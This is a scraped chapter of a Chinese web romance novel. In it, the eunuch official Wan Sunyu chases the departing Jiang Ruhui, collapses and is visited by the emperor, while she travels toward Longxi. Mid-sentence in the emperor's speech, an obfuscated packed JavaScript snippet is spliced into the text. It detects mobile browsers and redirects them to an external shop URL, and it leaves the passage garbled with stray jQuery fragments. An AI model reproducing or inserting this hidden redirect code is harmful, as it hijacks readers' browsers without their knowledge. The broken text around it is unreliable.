54. 第五十四章 思念
作品:《当对食成为郡主娘娘以后》 蒋如蕙一步三回头,终究告别了万荪瑜、还有阿素,与落梅、陈月香一道,上了去往陇西的马车。
有人选择离开,便有人选择留下。落梅和陈月香选择了追随蒋如蕙,阿素则继续留在万府,因她觉着有落梅和月香在,蒋如蕙身旁便没有她的位置了。两名侍女足矣,且她二人与蒋如蕙关系更亲厚,而她……也放心不下万荪瑜。
万荪瑜眼见一行队伍渐渐消失在官道尽头,好似有什么东西自心尖上沉到了身体的最低处,正在消失不见……“侍剑,备马!”他忽地厉声道。
“掌印,春桃……长乐郡主已动身去往陇西,您要……”侍剑平日里只依他旨意行事,此刻却愣在原地。
“还愣着干什么?备马!”万荪瑜呵斥道,他眸光凌厉,声音比适才更多了几分力度。
侍剑便照做,万荪瑜不由分说地翻身上马,这便挥动长鞭,向着出城的方向一路疾驰。
今日分明阳光明媚,春风里含着融融暖意,自耳畔呼啸而过时,却也微凉。万荪瑜只策马疾行,顾不得道路两旁行人疑惑的目光。
他今日着一身天水碧色圆领广袖长衫,未着蟒袍,是以许多路人并未瞧出他身份,只以为是个俊逸潇洒的官家公子。他并不精于骑射,这一身宽袍长袖亦不便骑马,可他眼下已然顾不得任何。
他这一路将马驾得极快,终于在将将出城时追上了马车。实则蒋如蕙听闻队伍后方传来的马蹄声,掀开车帘回望,便见他策马行在后方不远处。她几次三番示意车驾停下,车夫却不为所动,只因这是镇北侯的吩咐。
“桃儿!”万荪瑜高声呼喊,清朗声音里含着颤抖。策马行了这许久,他身子已然有些脱力,随着马蹄扬起,便自马上摔落下来。
“你们到底停不停下?!”蒋如蕙厉声疾呼,眼见车夫仍不为所动,便动作迅速地拔下发髻上的蝴蝶金翅步摇,抵在了车夫脖颈处。
“停车。”前方车驾内,便传来蒋盛云沉稳中略含无奈的声音。
蒋如蕙匆匆下了马车,三步并作两步向车队后方行去,见万荪瑜匍匐在地、面色苍白,便小心翼翼搀扶他起身。“你这是何苦?可有受伤?”她忙问道,又在他周身查验起来。
见她就在自己身畔,他心头的失落、忐忑和恐惧忽地一扫而空,身上疼痛似也烟消云散了,“我就是想……再看看你。”
“你是不是傻?我说了,定会回来,”蒋如蕙拿起手帕轻轻拭去他面上灰尘,见他白皙手腕上破皮出血,应是适才跌落所致,“你这般,叫我如何放心?”
“一点小伤,不妨事的。”他在她搀扶下撑着站起身来,感受到那伤处传来的疼痛,却不以为然。张太医和穆大夫此前均叮嘱过,他那旧伤骑不得马。
“你照顾好自己啊……”蒋如蕙声音哽咽,见他面色苍白,分明是身上不舒坦了,又如何放心得下?
“你放心,我会照顾好自己……”万荪瑜温声道,“你如今是郡主了,别哭……莫要失态。”他说着,便抬手拭去她眼角的泪。
一众副将和兵士见他二人郎情妾意、依依惜别,心下竟也生出几分不忍。若非已然知晓这万掌印身份,都会觉着他二人郎才女貌,甚是般配,可惜……
送君千里,终须一别。“我……先回去了,等你回来。”万荪瑜见她这般难过,又不禁责备自己冲动,不忍她继续伤怀担忧,便又撑着翻身上马,在她尚来不及阻拦时,便用力抽动马鞭,向着回城的方向一路疾驰……
这个人这般折腾自己,就为了离别前再见她一面。她匆匆拭去面容上肆意流淌的泪,终究在他身影消失在视线尽头时,转身上了马车。
万荪瑜这一路策马狂奔,风自他耳畔呼啸而过,带走了眼眶奔流而出的泪水,直至渐渐消散……而待回城,便正好迎面碰上策马赶至的侍书和侍剑。
“掌印……”二人见他面容憔悴,泪痕在脸上晕开,已然干涸,便只当不曾瞧见,也不再提及蒋如蕙离开一事,“掌印,侍墨传来消息,寻到那孩子了。”侍剑便凑到他耳畔低声道。
“知道了。”万荪瑜沉声道,便与他二人一道,继续向万府的方向行去。
“掌印……不如与我同乘一匹吧。”侍剑试探着开了口,他知他身子不宜骑马,此番来回狂奔,已然经不起了。
“不必。”万荪瑜冷言道,便策马继续向前,不想马儿刚奔开一段距离,他便自马背上摔落下来,已然晕厥过去,不省人事。
“掌印!”耳畔侍书侍剑的呼喊声渐渐模糊……再醒来时,万荪瑜便发觉自己躺在卧房的床榻上,胸口的闷痛接连袭来,让他喘不过气,稍稍活动,疼痛又撕扯着席卷而至。
他伸手探去,下身穿着宽松的亵裤,那伤口处正敷着药。
“掌印,你醒啦,”侍书温声唤他,又给他更换额上湿热的布巾,“掌印,你心疾又犯了,那伤口也起了炎症,便引发了高热。”
“那孩子……在哪里?”万荪瑜却是浑不在意,只询问公事。
“那孩子”便是此前查探到的,被自称是柳安府上家丁的人自慈善堂领走的男孩,唤作“小南”。西厂探子已查到,小南便是前吏部侍郎柳安的私生子,孩子生母原是教坊司歌妓,染病离世后,孩子几经辗转便被慈善堂收留。
幕后之人寻到了孩子下落,便趁柳安不备抢先一步领走孩子以此威胁他为自己差遣。去年端午宫宴,还是太子的慕容珩落水一事,便是柳安在游船上动了手脚。
这线索终究是发现得晚了些,只眼下寻到了孩子下落,便可顺藤摸瓜揪出幕后之人。
“在城西郊外一处庄子里,庄子的主人,唤作张坤,”侍书沉声道,“这张坤,便是礼部侍郎丁懋府上管事。”
“丁懋?”万荪瑜微微疑惑,下意识抚弄拇指上的玉扳指。这丁懋,此前早朝时曾对他出言不逊,却是个眼高于顶、有勇无谋还胆小怕事的主儿。
他隐隐觉着,这张坤真正效忠的,或许并非丁懋,“先盯紧些,密切关注这张坤一举一动,勿要打草惊蛇。”
“是。”侍书便应下。
正此时,门外又传来侍剑通传的声音,“掌印,陛下驾临,已入府了。”
“为何不早些进来通传?”万荪瑜便有些慌乱,强撑着起身又牵动周身各处不适,不禁连连喘息。
“您不是……将将才醒么?”侍剑嘟哝道。
万荪瑜便也顾不上责备,在他搀扶下坐起身来,以蟒袍搭住上半身,又理了理额畔凌乱的青丝。
待慕容珩入内,万荪瑜欲起身向他跪下行礼,便被他抢先一步摁住了动作,“阿笙,你我之间何须这些虚礼?你好好养病,仔细身子才是。”
他说罢,便示意身后内侍将一应药材和所需之物拿入房中,又吩咐侍剑等人去研药、熬药。他今日虽着一身玄青色广袖常服,举手投足仍是天潢贵胄的矜贵与沉稳,身处其位,终究是不同了。
“臣不过一介内官,残缺之身,哪容得陛下如此费心?”万荪瑜垂下头,不叫慕容珩瞧见他的憔悴失落,低沉的声音里透着无奈。
“阿笙,我知道你心有不甘,亦怨我不念及往日情分,对不对?”慕容珩满含关切地望着他,便开了口。
“陛下是天子,臣怎敢怨陛下?”万荪瑜轻轻声叹息。
“朕如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960251|190351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今是天子了,朕也很无奈……”慕容珩说着,便有些无可奈何,称呼又由“我”变为了“朕”,“朕只要下一道旨意,命你与镇北侯之女即刻成婚,便是他镇北侯战功赫赫、身居高位,亦不敢说一个不字,因朕是天子,他是臣。”他一字一句缓声道。
“可朕非但没下这道旨意,还敕封镇北侯之女为郡主,”慕容珩继续道,语气便急促起来,“朕知道,如此你与她势必更难走到一处,你会恐惧会无助,可朕只能这么做。因镇北侯一家,于北疆、于我大邺边关安防而言,实在太过重要。镇北侯好不容易寻到亲女,朕不能……让蒋氏一族寒了心……”
“陛下……臣都明白的,臣从未怨恨陛下,”万荪瑜沉声道,语气便缓和许多,“陛下如今身为天子,如此考量,臣该欣慰才是。”他自然不怨恨慕容珩,并非不敢,而是不该。要恨,也只恨命运不公,造化弄人。
“阿笙……你好好歇息,安心养伤,待你身子养好了,朕允你去陇西寻她。”慕容珩望着他,神色动容,又伸手轻抚他肩背,以示安抚。
“臣,拜谢陛下!”万荪瑜闻言,又要跪下谢恩。
慕容珩眼疾手快地阻止他动作,便示意他躺下休养。
万荪瑜便缓缓躺下,短暂的欢喜过后,更深的不安再次涌上心头。便是去了陇西,甚至上门提亲,她的父兄难道就会接纳他么?他身体已然残缺,且身份如此,已是无法改变的事实。念及此,便不禁苦笑。
待慕容珩离府回宫,侍书便行至万荪瑜身侧,“掌印,该换药了。”
万荪瑜长吸一口气,这便缓缓掀开锦被、褪去亵裤。
尽管侍书动作已然很轻,将涂抹了药膏的纱布重新覆上去时,他仍疼出了一身冷汗,下意识抓紧身下的被单,眼角便又淌下泪来。他知道,自己早已离不开她,早已习惯了她的温柔与爱抚,竟连这点痛都忍不得了。
可他必须把伤养好,如此才能快些与她相见,不论她父兄如何看他,他都要尽力一试。如此,才不负她所爱。
待换好药,汤药便熬好了。他撑着自床上坐起,便接过侍剑手里的汤药,只轻轻吹了吹,便一勺接一勺乖乖饮下。
却说这边
车队在路上行驶着,本不赶时辰,父子三人却归心似箭。是以这几日见蒋如蕙并无不适,便适当加快了行进速度。
近日已越过山西大同,再往西便踏上陕甘一线,直入陇西。
蒋如蕙掀开车窗,放眼望去,便见北地群山连绵,山势巍峨险峻。春日里山间树木葱茏,生机盎然,更现出西北风光奇绝,壮美辽阔。
她此前在京城多年,从未有机会见识到这般壮丽大气的景观。只现下,风自耳畔拂过,她却觉时光好似静止下来。风声簌簌、马蹄哒哒,还有山间的虫鸣、鸟语,时而淌过的清泉叮咚,好似都听不见了。
光阴停驻在了与他分离那日,而后,她只是按部就班地行路、住店留宿、再启程,循环往复……倘若这风景与他同赏,定会不一样吧,可凡事没有如果。
每日,落梅和陈月香见她呆呆地凝望窗外,知她心事,却不知如何安慰。
“郡主,奴婢觉着,过不了多久,万掌印便会来寻您了,我保证,”落梅率先开了口,“月香,不如我们打个赌?”
“你我情如姐妹,谁允你唤我郡主,还自称奴婢的?”蒋如蕙阖上窗子,便回眸望她,面上含着嗔意。
还是那个春桃,有喜有怒,活色生香。“是是是!奴……我们都知道啦,那日后是唤你春桃还是蕙蕙呢?”
“随你们,怎么开心怎么来。”蒋如蕙莞尔一笑,掩饰着对他的思念。

